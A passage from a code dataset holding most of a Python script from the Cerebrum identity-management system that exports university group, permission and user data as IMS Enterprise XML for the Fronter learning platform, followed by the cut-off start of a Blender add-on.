len(self._permissions)))\n\n\n@six.python_2_unicode_compatible\nclass CfMemberGroup(CfGroupInterface):\n \"\"\"A group holding members of a Cerebrum group for CF.\n\n All cf_member_groups are 'associated' with a cf_structure_group and\n cf_member_groups are meant to capture user members, whereas\n cf_structure_group captures the overall structure group.\n\n This class deals with member management and storing member attributes to\n export to CF (unames, e-mails, etc)\n \"\"\"\n # FS role groups\n valid_types = (\"stprog\", \"kull\", \"kullklasse\", \"undenh\", \"undakt\",\n \"avdeling\",\n # FS student groups\n \"student-undenh\", \"student-undakt\",\n \"student-kull\", \"student-kullklasse\",)\n\n def __init__(self, group):\n super(CfMemberGroup, self).__init__()\n self._cf_id = group.group_name\n self._title = group.description\n self._account_ids = [x[\"member_id\"]\n for x in group.search_members(\n group_id=group.entity_id)]\n self._group_type = self._calculate_group_type()\n self._parent = None\n assert self._group_type in self.valid_types, \\\n \"Cannot deduce type for group id=%s/name=%s: type=%s\" % (\n group.entity_id,\n group.group_name,\n self._group_type)\n\n def cf_typevalue(self):\n \"\"\"Return a suitable text value for <typevalue> XML element.\n\n The meaning of the code values is:\n\n 0 - node\n 1 - corridor\n 2 - group\n 4 - room.\n \"\"\"\n\n # CfMemberGroup objects represent 'group' typevalues. Always.\n return \"2\"\n\n def cf_id(self):\n return self._cf_id\n\n def cf_title(self):\n return self._title\n\n def cf_group_type(self):\n return self._group_type\n\n def cf_is_student_group(self):\n return self.cf_group_type() in (\"student-undenh\",\n \"student-undakt\",\n \"student-kull\",\n \"student-kullklasse\",)\n\n def cf_parent_id(self):\n \"\"\"Calculate which *structure* group this member group corresponds to.\n\n The idea is to figure out which structure group a given member group\n should be associated with. Member groups are 'extracted' directly from\n Cerebrum, whereas structure groups will have to be deduced.\n \"\"\"\n\n if self._parent is not None:\n return self._parent.cf_id()\n\n group_type2cf_structure_fixup = {\n \"student-undenh\": (\"ROOM\", -1),\n \"student-undakt\": (\"ROOM\", -1),\n \"student-kull\": (\"ROOM\", -1),\n \"student-kullklasse\": (\"ROOM\", -1),\n \"undenh\": (\"ROOM\", -2),\n \"undakt\": (\"ROOM\", -2),\n \"kullklasse\": (\"ROOM\", -2),\n \"kull\": (\"STRUCTURE\", -2),\n \"stprog\": (\"STRUCTURE\", -2),\n \"avdeling\": (\"STRUCTURE\", -2),\n }\n\n member_group_type = self.cf_group_type()\n if member_group_type in group_type2cf_structure_fixup:\n prefix, last = group_type2cf_structure_fixup[member_group_type]\n components = self.cf_id().split(\":\")\n return \":\".join([prefix, ] + components[:last])\n else:\n assert False, \"This cannot happen: cf_member id=%s/type=%s\" % (\n self.cf_id(), member_group_type)\n\n def cf_yield_siblings(self):\n if self.cf_group_type() != \"kull\":\n return\n\n # Holding a role with 'kull' implies that the corresponding\n # ROOM/Felles:...:kull MUST be created.\n components = self.cf_id().split(\":\")\n k_title = self.kull_room_title(components[5], # stprog\n components[8], # semester\n components[7]) # year\n k_id = \":\".join([\"ROOM\", ] + components[:-2])\n\n for cf_name, cf_id in ((k_title, k_id),):\n yield cf_name, cf_id\n\n def _role_code(self):\n \"\"\"What kind of role code does self correspond to?\n\n This makes sense for role groups only (i.e. NOT student-groups)\n \"\"\"\n\n components = self.cf_id().split(\":\")\n assert \"rolle\" in components\n for marker in (\"assistent\", \"hovedlærer\", \"kursansv\", \"lærer\",\n \"kontakt\", \"veileder\", \"admin\",):\n if marker in components:\n return marker\n\n assert False, \\\n \"Impossible: unknown role code for cd id=%s\" % self.cf_id()\n\n def get_cf_permission(self, structure_group):\n \"\"\"Calculate permission for self on L{structure_group}.\n\n The calculations are a bit involved, since the permission in question\n depends on both self AND structure_group.\n \"\"\"\n\n all_read = {\n \"stprog\": CfPermission.ROLE_READ,\n \"kull\": CfPermission.ROLE_READ,\n \"kullklasse\": CfPermission.ROLE_READ,\n \"undenh\": CfPermission.ROLE_READ,\n \"undakt\": CfPermission.ROLE_READ,\n \"avdeling\": CfPermission.ROLE_READ,\n }\n\n all_write = {\n \"stprog\": CfPermission.ROLE_WRITE,\n \"kull\": CfPermission.ROLE_WRITE,\n \"kullklasse\": CfPermission.ROLE_WRITE,\n \"undenh\": CfPermission.ROLE_WRITE,\n \"undakt\": CfPermission.ROLE_WRITE,\n \"avdeling\": CfPermission.ROLE_WRITE,\n }\n\n all_delete = {\n \"stprog\": CfPermission.ROLE_DELETE,\n \"kull\": CfPermission.ROLE_DELETE,\n \"kullklasse\": CfPermission.ROLE_DELETE,\n \"undenh\": CfPermission.ROLE_DELETE,\n \"undakt\": CfPermission.ROLE_DELETE,\n \"avdeling\": CfPermission.ROLE_DELETE,\n }\n\n all_change = {\n \"stprog\": CfPermission.ROLE_CHANGE,\n \"kull\": CfPermission.ROLE_CHANGE,\n \"kullklasse\": CfPermission.ROLE_CHANGE,\n \"undenh\": CfPermission.ROLE_CHANGE,\n \"undakt\": CfPermission.ROLE_CHANGE,\n \"avdeling\": CfPermission.ROLE_CHANGE,\n }\n\n role_code2permission = {\n \"assistent\": all_read,\n \"hovedlærer\": all_change,\n \"kursansv\": all_write,\n \"lærer\": all_delete,\n \"kontakt\": all_read,\n \"veileder\": all_write,\n \"admin\": {\n \"stprog\": CfPermission.ROLE_CHANGE,\n \"kull\": CfPermission.ROLE_CHANGE,\n \"kullklasse\": CfPermission.ROLE_CHANGE,\n \"undenh\": CfPermission.ROLE_WRITE,\n \"undakt\": CfPermission.ROLE_WRITE,\n \"avdeling\": CfPermission.ROLE_CHANGE,\n },\n }\n\n recursive = False\n if self.cf_group_type() in (\"stprog\", \"kull\", \"avdeling\"):\n recursive = True\n\n if self.cf_group_type() in (\"student-undenh\", \"student-undakt\",\n \"student-kullklasse\", \"student-kull\",):\n access_type = CfPermission.ROLE_WRITE\n elif self.cf_group_type() in (\"undenh\", \"undakt\", \"kullklasse\",\n \"kull\", \"stprog\", \"avdeling\",):\n # These are the perms stemming from FS roles. We have to look at\n # the specific role\n role_code = self._role_code()\n access_type = role_code2permission[role_code][self.cf_group_type()]\n else:\n logger.debug(\"Weird group type for %s\", self)\n assert False, \"This cannot happen\"\n\n perm_object = CfPermission(access_type, recursive,\n holder=self,\n target=structure_group)\n return perm_object\n\n def _calculate_group_type(self):\n \"\"\"Figure out what kind of group this is.\"\"\"\n\n suffix_map = {\"undenh\": \"undenh\",\n \"undakt\": \"undakt\",\n \"klasse\": \"kullklasse\",\n \"studieprogram\": \"stprog\",\n \"kull\": \"kull\", }\n\n components = self.cf_id().split(\":\")\n if \"student\" in components:\n # don't reshuffle the list (the tests have to be performed in a\n # specific order)\n for marker in (\"undenh\", \"undakt\", \"klasse\", \"kull\",):\n if marker in components:\n return \"student-\" + suffix_map[marker]\n assert False, \"This is impossible - no type for %s\" % self.cf_id()\n elif \"rolle\" in components:\n for marker in (\"undakt\", \"undenh\",\n \"klasse\", \"kull\", \"studieprogram\"):\n if marker in components:\n return suffix_map[marker]\n\n if (len(components) == 6 and\n re.search(r\"^\\d\\d0000$\", components[3])):\n return \"avdeling\"\n\n assert False, \"NOTREACHED\"\n\n def __str__(self):\n return \"CFMG type=%s id=%s %d members\" % (self.cf_group_type(),\n self.cf_id(),\n len(self._account_ids))\n\n def iterate_members(self):\n return iter(self._account_ids)\n\n\nclass CfMembers(object):\n \"\"\"A class to keep track of person information in CF.\n\n Technically, this class is superfluous. However, we can cache a lot of\n information about people in order to speed up the output. All that caching\n is contained within this class. The only interface available is\n L{member_info}, which looks up all the necessary info by account_id.\n \"\"\"\n\n def __init__(self, db):\n self.db = db\n self.const = Factory.get(\"Constants\")(db)\n\n def account2uname(self):\n \"\"\"Construct a mapping from account_id to account_name.\n \"\"\"\n\n account = Factory.get(\"Account\")(self.db)\n result = dict()\n for row in account.list_names(self.const.account_namespace):\n result[row[\"entity_id\"]] = row[\"entity_name\"] + uname_suffix\n return result\n\n def email2mail_server(self, email):\n\n # This can't be the right way...\n try:\n ea = EmailAddress(self.db)\n ea.find_by_address(email)\n et = EmailTarget(self.db)\n et.find(ea.get_target_id())\n es = EmailServer(self.db)\n es.find(et.get_server_id())\n return es.name\n except Errors.NotFoundError:\n return \"\"\n\n def person2address(self, person_id):\n person = Factory.get(\"Person\")(self.db)\n person.find(person_id)\n\n def remap(x):\n if x is None:\n return six.text_type()\n return six.text_type(x).strip()\n\n for source_system in (self.const.system_sap,\n self.const.system_fs):\n for addr_type in (self.const.address_post,\n self.const.address_street):\n addr = person.get_entity_address(source=source_system,\n type=addr_type)\n if len(addr) == 1:\n addr = addr[0]\n return {\"street\": remap(addr[\"city\"]), }\n # \"pobox\": remap(addr[\"p_o_box\"]),\n # FIXME: IMS limits this field to 128 chars. This\n # should be enforced and split into multiple <=128\n # char chunks.\n # hiof requests city part only.\n # According to Fronter, 'locality' is not\n # supported yet (2009-08-18), and we are asked to\n # use \"street\", although city-part should be in\n # 'locality' if IMS Ent is followed\n\n def member_info(self):\n \"\"\"Slurp in info about all members.\n\n There is a bit of dict-building in this method. That takes time.\n\n @rtype: dict (int -> dict (str -> str))\n @return:\n A dictionary from account_ids to dicts with the corresponding\n information. The following keys are available:\n\n - full (account owner's name)\n - first (account owner's first name)\n - family (account owner's last name)\n - email (email address associated with account)\n - user (uname@<suffi>)\n - imap-server (imap server associated for email)\n - address (a dict representing account owner's address)\n - mobile (account owner's mobile work number from SAP)\n \"\"\"\n\n account = Factory.get(\"Account\")(self.db)\n person = Factory.get(\"Person\")(self.db)\n const = self.const\n result = dict()\n\n logger.debug(\"Caching e-mail addresses\")\n uname2mail = account.getdict_uname2mailaddr()\n logger.debug(\"%d uname -> e-mail mappings\", len(uname2mail))\n\n logger.debug(\"Caching member names\")\n person_id2name = person.getdict_persons_names(\n source_system=const.system_cached,\n name_types=[const.name_first, const.name_full, const.name_last])\n logger.debug(\"%d person_id -> name mappings\", len(person_id2name))\n\n logger.debug(\"Caching mobile phone numbers\")\n person_id2phone = dict((int(x[\"entity_id\"]), x[\"contact_value\"])\n for x in person.list_contact_info(\n contact_type=const.contact_mobile_phone,\n entity_type=const.entity_person,\n source_system=const.system_sap))\n\n logger.debug(\"Caching complete user records\")\n candidates = account.search(owner_type=const.entity_person)\n logger.debug(\"%d candidates to consider\", len(candidates))\n for row in candidates:\n person_id = row[\"owner_id\"]\n uname = row[\"name\"]\n account_id = row[\"account_id\"]\n\n if uname not in uname2mail:\n logger.debug(\n \"Ignoring id=%s/uname=%s (person_id=%s): no e-mail\",\n account_id, uname, person_id)\n continue\n email_address = uname2mail[uname]\n\n if person_id not in person_id2name:\n logger.debug(\n \"Ignoring id=%s/uname=%s (person_id=%s): no name info\",\n account_id, uname, person_id)\n continue\n\n first_name = person_id2name[person_id].get(const.name_first, \"\")\n full_name = person_id2name[person_id].get(const.name_full, \"\")\n family_name = person_id2name[person_id].get(const.name_last, \"\")\n result[account_id] = {\n \"full\": full_name,\n \"first\": first_name,\n \"family\": family_name,\n \"email\": email_address,\n \"user\": uname + uname_suffix,\n \"imap-server\": self.email2mail_server(email_address),\n \"imap-user\": uname,\n \"address\": self.person2address(person_id),\n \"mobile\": person_id2phone.get(person_id)\n }\n\n logger.debug(\"Collected a total of %d user records\", len(result))\n return result\n\n\ndef collect_cf_groups(db):\n \"\"\"Collect all CF groups from Cerebrum.\"\"\"\n\n group = Factory.get(\"Group\")(db)\n const = Factory.get(\"Constants\")()\n\n result = set(r[\"entity_id\"] for r in\n group.list_traits(code=const.trait_cf_group))\n logger.debug(\"Collected %d CF groups from Cerebrum\", len(result))\n return result\n\n\ndef locate_db_group(db, group_id):\n \"\"\"Create a Group proxy for the specified group_id.\n \"\"\"\n\n group = Factory.get(\"Group\")(db)\n group.find(group_id)\n return group\n\n\ndef build_cf_tree(db, db_groups, multisemester_map):\n \"\"\"Construct a complete CF tree with all groups and permissions.\n\n @param db:\n A database proxy.\n\n @param db_groups:\n Complete list of cerebrum group_ids which are the basis for CF\n population.\n \"\"\"\n\n CfGroupInterface.load_acronyms(db)\n tree = CfTree(db)\n for group_id in db_groups:\n db_group = locate_db_group(db, group_id)\n cf_member = CfMemberGroup(db_group)\n tree.register_member_group(cf_member)\n logger.debug(\"Created CF group %s\", cf_member)\n\n # Now that we have the group node, we create the corresponding\n # structure nodes (all of them).\n node = tree.create_associated_structures(cf_member, multisemester_map)\n if node:\n logger.debug(\n \"Created assoc structures for cf_member id=%s. \"\n \"Parent node is id=%s\", cf_member.cf_id(), node.cf_id())\n node.register_permissions(cf_member)\n else:\n logger.debug(\"No node created for cf_member id=%s\",\n cf_member.cf_id())\n\n # fixup additional permissions between the siblings of each node, since\n # the permission assignment up to this point has been top-down.\n for group in tree.iterate_groups(CfStructureGroup):\n group.fixup_sibling_permissions()\n\n logger.debug(\"Built a CF tree\")\n return tree\n\n\ndef open_xml_stream(filename):\n \"\"\"Open the xml file for writing.\n\n @return:\n Return an xmlprinter instance ready for output.\n \"\"\"\n\n sink = SimilarSizeWriter(filename, \"wb\")\n sink.max_pct_change = 50\n printer = xmlprinter.xmlprinter(sink,\n indent_level=2,\n data_mode=1,\n input_encoding=\"utf-8\")\n\n logger.debug(\"Opened %s for XML output\", filename)\n return printer\n\n\ndef output_fixed_header(printer):\n printer.startElement(\"properties\")\n printer.dataElement(\"datasource\", \"cerebrum@hiof.no\")\n printer.dataElement(\"datetime\", datetime.date.today().strftime(\"%Y-%m-%d\"))\n printer.endElement(\"properties\")\n\n\ndef output_source_element(printer):\n printer.dataElement(\"source\", \"cerebrum@hiof.no\")\n\n\ndef output_id(id_data, printer):\n printer.startElement(\"sourcedid\")\n output_source_element(printer)\n printer.dataElement(\"id\", id_data)\n printer.endElement(\"sourcedid\")\n\n\ndef output_person_auth(data, printer):\n # \"ldap3:\" - ldap authentication (3 is probably the server number)\n # \"1\" for pwencryptiontype means md5\n # \"5\" means authentication via ldap\n printer.dataElement(\"userid\", data[\"user\"],\n {\"password\": \"ldap3:\", \"pwencryptiontype\": \"5\", })\n\n\ndef output_person_names(data, printer):\n printer.startElement(\"name\")\n printer.dataElement(\"fn\", data[\"full\"])\n printer.startElement(\"n\")\n if data.get(\"first\"):\n printer.dataElement(\"given\", data[\"first\"])\n if data.get(\"family\"):\n printer.dataElement(\"family\", data[\"family\"])\n printer.endElement(\"n\")\n printer.endElement(\"name\")\n\n\ndef output_email_info(data, printer):\n for required_key in (\"imap-server\", \"imap-user\",):\n if not data.get(required_key):\n return\n\n printer.startElement(\"extension\")\n\n # The magic keys/values below have been suggested by Fronter.\n printer.emptyElement(\"emailsettings\",\n {\"description\": \"HiO e-post\",\n \"imap_serverdirectory\": \"mail/\",\n \"imap_sentfolder\": \"INBOX.Sent\",\n \"imap_draftfolder\": \"INBOX.Drafts\",\n \"imap_trashfolder\": \"INBOX.Trash\",\n # According to Fronter, this value means use the same\n # password as for logging into fronter.\n \"mail_password\": \"FRONTERLOGIN\",\n \"mail_username\": data[\"imap-user\"],\n \"mailtype\": \"1\",\n \"use_ssl\": \"1\",\n \"defaultmailbox\": \"1\",\n \"on_delete_action\": \"trash\",\n \"is_primary\": \"1\",\n \"mailserver\": data[\"imap-server\"]})\n printer.endElement(\"extension\")\n\n\ndef output_person_address(data, printer):\n if not data.get(\"address\"):\n return\n\n address = data[\"address\"]\n # No non-empty address field. That happens sometimes.\n if not [x for x in address.itervalues() if bool(x)]:\n return\n\n printer.startElement(\"adr\")\n for key in address:\n value = address[key]\n if value:\n printer.dataElement(key, value)\n printer.endElement(\"adr\")\n\n\ndef output_person_phone(data, printer):\n if not data.get(\"mobile\"):\n return\n\n # 3 means mobile phone in the IMS specification\n printer.dataElement(\"tel\", data[\"mobile\"], {\"teltype\": \"3\"})\n\n\ndef output_person_element(data, printer):\n \"\"\"Output all relevant data for a <person> element.\n \"\"\"\n\n printer.startElement(\"person\", {\"recstatus\": STATUS_ADD})\n output_id(data[\"user\"], printer)\n output_person_auth(data, printer)\n printer.dataElement(\"email\", data[\"email\"])\n output_person_names(data, printer)\n output_email_info(data, printer)\n output_person_address(data, printer)\n output_person_phone(data, printer)\n printer.endElement(\"person\")\n\n\ndef output_people(db, tree, printer):\n \"\"\"Output information about all people mentioned in at least one group in\n tree.\n\n The information has already been prepared by the corresponding nodes. The\n only thing we need is to make sure that the same person is not output\n twice.\n \"\"\"\n\n logger.debug(\"Outputting all people registered in the CF-tree (in-memory)\")\n member_info = CfMembers(db).member_info()\n processed = set()\n for group in tree.iterate_groups(CfMemberGroup):\n processed.update(group.iterate_members())\n\n # We want to output the users sorted by id for the ease of by-human\n # comparison.\n for member_id in sorted(processed):\n xml_data = member_info.get(member_id)\n if xml_data is None:\n logger.warn(\"No data about account_id=%s\", member_id)\n continue\n\n output_person_element(xml_data, printer)\n\n\ndef output_group_element(cf_group, printer, member_group_owner):\n \"\"\"Output all info pertaining to the specific cf_group\"\"\"\n\n printer.startElement(\"group\", {\"recstatus\": STATUS_ADD, })\n output_id(cf_group.cf_id(), printer)\n\n printer.startElement(\"grouptype\")\n printer.dataElement(\"scheme\", \"FronterStructure1.0\")\n printer.emptyElement(\"typevalue\", {\"level\": cf_group.cf_typevalue()})\n printer.endElement(\"grouptype\")\n printer.startElement(\"description\")\n if len(cf_group.cf_title()) > 60:\n # printer.emptyElement(\"short\")\n printer.dataElement(\"long\", cf_group.cf_title())\n else:\n printer.dataElement(\"short\", cf_group.cf_title())\n printer.endElement(\"description\")\n\n printer.startElement(\"relationship\", {\"relation\": \"1\"})\n if isinstance(cf_group, CfMemberGroup):\n output_id(member_group_owner, printer)\n else:\n output_id(cf_group.cf_parent_id(), printer)\n printer.emptyElement(\"label\")\n printer.endElement(\"relationship\")\n printer.endElement(\"group\")\n\n\ndef output_member_groups(db, tree, printer):\n \"\"\"Output all group information about the structures we are building in\n CF.\n\n db is passed along for completeness. It's unused here.\n \"\"\"\n\n member_owner = tree._person_group_holder.cf_id()\n for cf_group in tree.iterate_groups_topologically():\n output_group_element(cf_group, printer, member_owner)\n\n\ndef output_user_membership(group, members, printer):\n \"\"\"Output XML subtree for the specific membership.\"\"\"\n\n printer.startElement(\"membership\")\n output_id(group.cf_id(), printer)\n for member in members:\n printer.startElement(\"member\")\n output_id(member, printer)\n # 1 = person, 2 = group\n printer.dataElement(\"idtype\", \"1\")\n printer.startElement(\"role\", {\"recstatus\": STATUS_ADD,\n # FIXME: This should be expressed via\n # cf_permission, since a specific user\n # within a group may have a different\n # permission.\n \"roletype\": CfPermission.ROLE_WRITE})\n # 0 = inactive member, 1 = active member\n printer.dataElement(\"status\", \"1\")\n # FIXME: What does this junk mean? Alle person members seem to have\n # this memberof extension with type=2. This is a blind copy from\n # UiO/UiA.\n printer.startElement(\"extension\")\n printer.emptyElement(\"memberof\", {\"type\": \"2\"})\n printer.endElement(\"extension\")\n printer.endElement(\"role\")\n printer.endElement(\"member\")\n\n printer.endElement(\"membership\")\n\n\ndef output_user_memberships(db, tree, printer):\n \"\"\"Output all user membership information.\"\"\"\n\n account2uname = CfMembers(db).account2uname()\n for group in tree.iterate_groups(CfMemberGroup):\n members = [account2uname[x] for x in group.iterate_members()]\n if not members:\n continue\n\n output_user_membership(group, members, printer)\n\n\ndef output_viewcontacts(target, permission_holders, printer):\n \"\"\"Helper function to output viewContacts permissions\"\"\"\n\n printer.startElement(\"membership\")\n output_id(target.cf_id(), printer)\n for gm in permission_holders:\n printer.startElement(\"member\")\n output_id(gm.cf_id(), printer)\n # 1 = person, 2 = group\n printer.dataElement(\"idtype\", \"2\")\n printer.startElement(\"role\", {\"recstatus\": STATUS_ADD})\n # 0 = inactive member, 1 = active member\n printer.dataElement(\"status\", \"1\")\n printer.startElement(\"extension\")\n printer.emptyElement(\"groupaccess\", {\"roomAccess\": \"0\",\n \"contactAccess\": \"100\", })\n printer.endElement(\"extension\")\n printer.endElement(\"role\")\n printer.endElement(\"member\")\n printer.endElement(\"membership\")\n\n\ndef process_viewcontacts_permissions(cf_group, local_permissions,\n inherited_permissions, printer):\n \"\"\"Generate XML for represeting viewContacts permissions related to\n cf_group.\n\n This is where it gets hairy.\n \"\"\"\n\n assert isinstance(cf_group, CfStructureGroup)\n # This methods is called with cf_group == cf_structure_group. Always\n #\n # So, for each such cf_structure_group we need to locate the corresponding\n # cf_member_groups. Some of them are direct children of cf_group. Other\n # are permission holders in local_ or inherited_permissions. NB!\n # isinstance(x.holder(), CfMemberGroup) for x in permissions MUST BE\n # True.\n #\n local_member_groups = set(cf_group.iterate_children(CfMemberGroup))\n local_nonstudents = set(x for x in local_member_groups\n if not x.cf_is_student_group())\n local_permission_holders = set(x.holder() for x in\n local_permissions\n if isinstance(x.holder(), CfMemberGroup))\n inherited_permission_holders = set(\n x.holder() for x in inherited_permissions if\n isinstance(x.holder(), CfMemberGroup))\n all_at_this_level = set().union(\n local_member_groups).union(\n local_permission_holders).union(\n inherited_permission_holders)\n all_nonstudent = set(x for x in all_at_this_level\n if not x.cf_is_student_group())\n\n logger.debug(\"ViewContacts at level %s: %d local (%d non-student); \"\n \"%d local perm holders, %d inherited perm holders \"\n \"%d total at this level\",\n cf_group.cf_id(),\n len(local_member_groups),\n len(local_nonstudents),\n len(local_permission_holders),\n len(inherited_permission_holders),\n len(all_at_this_level))\n\n # If there are no /member/ groups at this level, then there are no\n # viewContacts permissions to hand out. This means that our job is done.\n if not local_member_groups:\n return\n\n student_member_group = [x for x in local_member_groups\n if x.cf_is_student_group()]\n assert len(student_member_group) <= 1\n if student_member_group:\n student_member_group = student_member_group[0]\n else:\n student_member_group = None\n\n # Case 1: *Everybody* has viewContacts on the student group\n if student_member_group:\n output_viewcontacts(student_member_group, all_at_this_level, printer)\n logger.debug(\n \"%s is a student group and %s groups have viewContacts on it\",\n student_member_group.cf_id(),\n len(all_at_this_level))\n\n # Case 2: Every nonstudent group at this level has viewContacts on every\n # local nonstudent group\n for g in local_nonstudents:\n output_viewcontacts(g, all_nonstudent, printer)\n logger.debug(\"%s is local non-student group and %s groups have \"\n \"viewContact on it\", g.cf_id(), len(all_nonstudent))\n\n # Case 3: Finally, every local nonstudent group has viewContacts on\n # inherited permission holders. (i.e. local \"LÆRER\" will have viewContacts\n # on inherited \"ADMIN\")\n for g in inherited_permission_holders:\n output_viewcontacts(g, local_nonstudents, printer)\n logger.debug(\"%s is an inherited permission group and %s local groups\"\n \"have viewContact on it\",\n g.cf_id(), len(local_nonstudents))\n\n\ndef output_node_permissions(cf_group, local_permissions,\n inherited_permissions, printer):\n \"\"\"Generate XML for representing permissions on cf_group.\n\n permissions is a sequence of cf_permission instances that list permissions\n (direct or indirect) on cf_group. I.e. there may be entries in permissions\n that have target != cf_group.\n \"\"\"\n\n permissions = local_permissions + inherited_permissions\n\n # No permissions -> nothing to do\n if len(permissions) == 0:\n logger.debug(\"No permissions output for group id=%s\",\n cf_group.cf_id())\n return\n\n logger.debug(\"cf_group id=%s has %d local and %d inherited permissions\",\n cf_group.cf_id(), len(local_permissions),\n len(inherited_permissions))\n\n printer.startElement(\"membership\")\n output_id(cf_group.cf_id(), printer)\n for permission in permissions:\n printer.startElement(\"member\")\n output_id(permission.holder().cf_id(), printer)\n # 1 = person, 2 = group\n printer.dataElement(\"idtype\", \"2\")\n printer.startElement(\"role\", {\"recstatus\": STATUS_ADD,\n \"roletype\": permission.access_type(), })\n # FIXME: what about <extension><memberof type=\"??\"></extension> ?\n # 0 = inactive, 1 = active member\n printer.dataElement(\"status\", \"1\")\n printer.endElement(\"role\")\n printer.endElement(\"member\")\n\n printer.endElement(\"membership\")\n\n\ndef process_node_permissions(node, inherited_permissions, printer):\n \"\"\"Output permissions for the CF subtree with root at node.\n\n Permissions are generated in depth-first order down the tree.\n\n @type node: cf_structure_group instance\n @param node:\n Subtree root for which we generate permission data. I.e. other\n structures have permissions on L{node}.\n\n @type inherited_permissions: sequence of cf_permission instances.\n @param inherited_permissions:\n Sequence of permissions inherited by this node from its parents. Some\n groups result in recursive permissions. E.g. an 'admin' role given for a\n 'stprog' is *inherited* for all structures associated with that 'stprog'\n (kull and kullklasse). Should node have its own recursive permissions,\n they are added to inherited_permissions.\n \"\"\"\n\n #\n # There is a bit of tuple copying here; hopefully this won't be a\n # performance issue.\n #\n children = node.iterate_children(CfStructureGroup)\n local_permissions = tuple(node.iterate_permissions())\n output_node_permissions(node, local_permissions, inherited_permissions,\n printer)\n process_viewcontacts_permissions(node, local_permissions,\n inherited_permissions, printer)\n node_recursive_permissions = tuple(x for x in local_permissions\n if x.is_recursive())\n\n children_permissions = inherited_permissions + node_recursive_permissions\n for child in children:\n process_node_permissions(child, children_permissions, printer)\n\n\ndef output_permissions(tree, printer):\n \"\"\"Output all permissions.\n\n Permissions are expressed in IMS enterprise through memberships, much like\n output_membership. However, in this case groups are members of other\n groups (groups-with-user-members are members of STRUCTURE/ROOM groups).\n \"\"\"\n\n root = tree.get_root()\n process_node_permissions(root, tuple(), printer)\n\n\ndef generate_xml_file(filename, db, tree):\n \"\"\"'Flatten' cf_tree to L{filename}.\n\n 'Flattening' is accomplished in several steps:\n\n * output people\n * output all groups\n * output all memberships\n * output all permissions\n \"\"\"\n\n printer = open_xml_stream(filename)\n printer.startDocument(\"utf-8\")\n printer.startElement(\"enterprise\")\n output_fixed_header(printer)\n output_people(db, tree, printer)\n output_member_groups(db, tree, printer)\n output_user_memberships(db, tree, printer)\n output_permissions(tree, printer)\n printer.endElement(\"enterprise\")\n printer.endDocument()\n printer.fp.close()\n\n\ndef build_multisemester_mapping(undenh_file, undakt_file):\n \"\"\"Build a dict to remap multisemester (flersemester) entities.\n\n This function helps to go from a group_name in Cerebrum for\n undenh/undakt-related groups to the structure id of the node in the\n Fronter tree. I.e. we want to assist remapping\n\n hiof.no:fs:224:400000:emner:2008:vår:undakt:HSS40505:1:1:0\n\n to\n\n STRUCTURE:hiof.no:fs:224:400000:emner:2009:vår\n\n ... if the first one is the start semester for an undakt in its 3rd active\n semester.\n\n @rtype: dict of str to str\n @return:\n A mapping built for all multisemester entries in the files. Since both\n undenh and undakt have the same structure parent, the mappings are built\n like this:\n\n 'ROOM:hiof.no:fs:224:400000:emner:2008:vår:undakt:HSS40505:1:1:0' ->\n 'STRUCTURE:hiof.no:fs:224:400000:emner:2009:vår'\n\n ... where 2008/vår-components are 'counted back' (see\n populate_fronter_groups._count_back_semester) from the data in\n undenh/undakt file.\n \"\"\"\n\n prefix = \"hiof.no:%s:\" % (cereconf.DEFAULT_INSTITUSJONSNR,)\n value_template = \"STRUCTURE:\" + prefix + \"%02d0000:emner:%s:%s\"\n key_template = \"ROOM:\" + prefix + \"%02d0000:emner:%s:%s:%s:%s:%s:%s\"\n\n result = dict()\n for (source,\n entry_kind) in ((EduDataGetter(undenh_file, logger).iter_undenh,\n \"undenh\",),\n (EduDataGetter(undakt_file, logger).iter_undakt,\n \"undakt\",)):\n logger.debug(\"Mapping multisemester %s\", entry_kind)\n for entry in source():\n attrs = lower(entry)\n if \"terminnr\" not in attrs:\n continue\n\n if not timeslot_is_valid(attrs):\n logger.debug(\"Ignoring '%s' - data too old/in the future: \"\n \"attrs=%s\", entry_kind, attrs)\n continue\n\n # Technically, this is cheating -- faknr_kontroll does not have to\n # match whetever faculty info is in the emne-info.xml\n structure = value_template % (int(attrs[\"faknr_kontroll\"]),\n attrs[\"arstall\"],\n attrs[\"terminkode\"])\n original = (attrs[\"arstall\"], attrs[\"terminnr\"])\n attrs = count_back_semesters(attrs)\n # remapped = (attrs[\"arstall\"], attrs[\"terminnr\"])\n key = key_template % (int(attrs[\"faknr_kontroll\"]),\n attrs[\"arstall\"],\n attrs[\"terminkode\"],\n entry_kind,\n attrs[\"emnekode\"],\n attrs[\"versjonskode\"],\n attrs[\"terminnr\"])\n if entry_kind == \"undakt\":\n key = key + \":\" + attrs[\"aktivitetkode\"]\n\n # Key may already be in result! This happens when terminnr=1 and\n # terminnr=2 for the same undenh are in the file. The resulting\n # IDs are the same, since we count back semesters, but the\n # structure to which key is to be associated is NOT. Whichever is\n # earliest must be used.\n if key in result:\n previous_year, previous_sem = result[key].split(\":\")[-2:]\n if ((int(previous_year) > int(original[0])) or\n (int(previous_year) == int(original[0]) and\n previous_sem == \"høst\")):\n result[key] = structure\n else:\n result[key] = structure\n\n logger.debug(\"Connecting %s to %s\", key, result[key])\n return result\n\n\ndef main(inargs=None):\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('-x', '--xml-file', dest='xml_file',\n help='XML-file to be generated',\n required=True)\n parser.add_argument('-e', '--undenh-file', dest='undenh_file',\n help='Department XML-export from FS',\n required=True)\n parser.add_argument('-a', '--undakt-file', dest='undakt_file',\n help='Activity XML-export from FS',\n required=True)\n parser.add_argument('-u', '--uname-suffix', dest='uname_suffix',\n help='Username suffix to be added (default: None)',\n default='')\n\n Cerebrum.logutils.options.install_subparser(parser)\n args = parser.parse_args(inargs)\n Cerebrum.logutils.autoconf('cronjob', args)\n\n global uname_suffix\n uname_suffix = args.uname_suffix\n\n db = Factory.get(\"Database\")()\n groups = collect_cf_groups(db)\n multisemester_map = build_multisemester_mapping(args.undenh_file,\n args.undakt_file)\n tree = build_cf_tree(db, groups, multisemester_map)\n generate_xml_file(args.xml_file, db, tree)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"unioslo/cerebrum","sub_path":"contrib/no/hiof/generate_fronter_xml.py","file_name":"generate_fronter_xml.py","file_ext":"py","file_size_in_byte":60290,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"12133343889","text":"import bpy\n\nfrom . finder import FindTriangles_OT_Operator\nfrom . panel import MyPanel_PT_Panel\n\nbl_info = {\n \"name\": \"LoveQuads\",\n \"author\": \"Jonathan Ramos\",\n \"description\": \"Highlight all triangles and ngons\",\n \"blender\": (2, 80, 0),\n \"version\": (0, 